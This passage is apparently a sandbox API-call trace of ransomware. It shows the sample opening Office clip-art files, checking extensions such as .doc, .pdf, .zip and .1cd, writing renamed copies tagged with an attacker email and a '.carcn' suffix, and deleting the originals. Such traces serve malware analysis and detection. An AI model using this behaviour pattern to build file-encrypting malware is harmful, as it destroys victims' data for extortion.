hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.747] SetEndOfFile (hFile=0x340) returned 1 [0293.748] CloseHandle (hObject=0x340) returned 1 [0293.748] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.748] SetEndOfFile (hFile=0x378) returned 1 [0293.749] CloseHandle (hObject=0x378) returned 1 [0293.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0293.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.750] lstrlenW (lpString=".doc") returned 4 [0293.750] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.750] lstrlenW (lpString=".docx") returned 5 [0293.750] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.750] lstrlenW (lpString=".pdf") returned 4 [0293.750] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.750] lstrlenW (lpString=".xls") returned 4 [0293.750] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.750] lstrlenW (lpString=".xlsx") returned 5 [0293.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.751] lstrlenW (lpString=".ppt") returned 4 [0293.751] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.751] lstrlenW (lpString=".zip") returned 4 [0293.751] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.751] lstrlenW (lpString=".rar") returned 4 [0293.751] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.751] lstrlenW (lpString=".bz2") returned 4 [0293.751] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.751] lstrlenW (lpString=".7z") returned 3 [0293.751] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.751] lstrlenW (lpString=".dbf") returned 4 [0293.751] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.751] lstrlenW (lpString=".1cd") returned 4 [0293.751] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.751] lstrlenW (lpString=".jpg") returned 4 [0293.751] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.752] lstrlenW (lpString=".doc") returned 4 [0293.752] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.752] lstrlenW (lpString=".docx") returned 5 [0293.752] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.752] lstrlenW (lpString=".pdf") returned 4 [0293.752] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.752] lstrlenW (lpString=".xls") returned 4 [0293.752] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.752] lstrlenW (lpString=".xlsx") returned 5 [0293.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.752] lstrlenW (lpString=".ppt") returned 4 [0293.752] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.752] lstrlenW (lpString=".zip") returned 4 [0293.752] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.752] lstrlenW (lpString=".rar") returned 4 [0293.752] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.752] lstrlenW (lpString=".bz2") returned 4 [0293.752] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.752] lstrlenW (lpString=".7z") returned 3 [0293.752] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.752] lstrlenW (lpString=".dbf") returned 4 [0293.752] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.752] lstrlenW (lpString=".1cd") returned 4 [0293.752] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0293.753] lstrlenW (lpString=".jpg") returned 4 [0293.753] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.753] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.753] lstrlenW (lpString="AN01173_.WMF") returned 12 [0293.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0293.753] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=26332) returned 1 [0293.753] CloseHandle (hObject=0x378) returned 1 [0293.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0293.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0293.754] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.754] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0293.755] GetLastError () returned 0x0 [0293.755] ReadFile (in: hFile=0x378, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x66dc, lpOverlapped=0x0) returned 1 [0293.756] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x66e0, lpOverlapped=0x0) returned 1 [0293.758] ReadFile (in: hFile=0x378, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.758] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.758] SetEndOfFile (hFile=0x340) returned 1 [0293.759] CloseHandle (hObject=0x340) returned 1 [0293.759] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.759] SetEndOfFile (hFile=0x378) returned 1 [0294.081] CloseHandle (hObject=0x378) returned 1 [0294.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0294.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.082] lstrlenW (lpString=".doc") returned 4 [0294.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.082] lstrlenW (lpString=".docx") returned 5 [0294.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.082] lstrlenW (lpString=".pdf") returned 4 [0294.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.082] lstrlenW (lpString=".xls") returned 4 [0294.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.082] lstrlenW (lpString=".xlsx") returned 5 [0294.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.082] lstrlenW (lpString=".ppt") returned 4 [0294.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.082] lstrlenW (lpString=".zip") returned 4 [0294.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.082] lstrlenW (lpString=".rar") returned 4 [0294.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.083] lstrlenW (lpString=".bz2") returned 4 [0294.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.083] lstrlenW (lpString=".7z") returned 3 [0294.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.083] lstrlenW (lpString=".dbf") returned 4 [0294.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.083] lstrlenW (lpString=".1cd") returned 4 [0294.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.083] lstrlenW (lpString=".jpg") returned 4 [0294.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.083] lstrlenW (lpString=".doc") returned 4 [0294.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.083] lstrlenW (lpString=".docx") returned 5 [0294.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.083] lstrlenW (lpString=".pdf") returned 4 [0294.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.083] lstrlenW (lpString=".xls") returned 4 [0294.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.083] lstrlenW (lpString=".xlsx") returned 5 [0294.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.083] lstrlenW (lpString=".ppt") returned 4 [0294.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.084] lstrlenW (lpString=".zip") returned 4 [0294.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.084] lstrlenW (lpString=".rar") returned 4 [0294.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.084] lstrlenW (lpString=".bz2") returned 4 [0294.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.084] lstrlenW (lpString=".7z") returned 3 [0294.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.084] lstrlenW (lpString=".dbf") returned 4 [0294.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.084] lstrlenW (lpString=".1cd") returned 4 [0294.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0294.084] lstrlenW (lpString=".jpg") returned 4 [0294.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.598] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.598] lstrlenW (lpString="AN03500_.WMF") returned 12 [0294.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.599] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=9240) returned 1 [0294.599] CloseHandle (hObject=0x348) returned 1 [0294.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0294.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.600] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.600] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.601] GetLastError () returned 0x0 [0294.601] ReadFile (in: hFile=0x348, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2418, lpOverlapped=0x0) returned 1 [0294.602] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2420, lpOverlapped=0x0) returned 1 [0294.603] ReadFile (in: hFile=0x348, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.603] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.604] SetEndOfFile (hFile=0x350) returned 1 [0294.604] CloseHandle (hObject=0x350) returned 1 [0294.604] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.604] SetEndOfFile (hFile=0x348) returned 1 [0294.605] CloseHandle (hObject=0x348) returned 1 [0294.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0294.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.606] lstrlenW (lpString=".doc") returned 4 [0294.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.606] lstrlenW (lpString=".docx") returned 5 [0294.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.606] lstrlenW (lpString=".pdf") returned 4 [0294.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.606] lstrlenW (lpString=".xls") returned 4 [0294.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.606] lstrlenW (lpString=".xlsx") returned 5 [0294.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.606] lstrlenW (lpString=".ppt") returned 4 [0294.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.606] lstrlenW (lpString=".zip") returned 4 [0294.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.606] lstrlenW (lpString=".rar") returned 4 [0294.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.606] lstrlenW (lpString=".bz2") returned 4 [0294.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.607] lstrlenW (lpString=".7z") returned 3 [0294.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.607] lstrlenW (lpString=".dbf") returned 4 [0294.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.607] lstrlenW (lpString=".1cd") returned 4 [0294.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.607] lstrlenW (lpString=".jpg") returned 4 [0294.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.607] lstrlenW (lpString=".doc") returned 4 [0294.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.607] lstrlenW (lpString=".docx") returned 5 [0294.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.607] lstrlenW (lpString=".pdf") returned 4 [0294.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.607] lstrlenW (lpString=".xls") returned 4 [0294.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.607] lstrlenW (lpString=".xlsx") returned 5 [0294.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.607] lstrlenW (lpString=".ppt") returned 4 [0294.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.607] lstrlenW (lpString=".zip") returned 4 [0294.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.608] lstrlenW (lpString=".rar") returned 4 [0294.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.608] lstrlenW (lpString=".bz2") returned 4 [0294.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.608] lstrlenW (lpString=".7z") returned 3 [0294.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.608] lstrlenW (lpString=".dbf") returned 4 [0294.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.608] lstrlenW (lpString=".1cd") returned 4 [0294.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0294.608] lstrlenW (lpString=".jpg") returned 4 [0294.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.609] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.609] lstrlenW (lpString="AN04108_.WMF") returned 12 [0294.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.609] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2344) returned 1 [0294.609] CloseHandle (hObject=0x348) returned 1 [0294.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0294.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.610] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.610] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.610] GetLastError () returned 0x0 [0294.610] ReadFile (in: hFile=0x348, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x928, lpOverlapped=0x0) returned 1 [0294.611] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x930, lpOverlapped=0x0) returned 1 [0294.613] ReadFile (in: hFile=0x348, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.613] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.613] SetEndOfFile (hFile=0x350) returned 1 [0294.613] CloseHandle (hObject=0x350) returned 1 [0294.613] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.613] SetEndOfFile (hFile=0x348) returned 1 [0294.614] 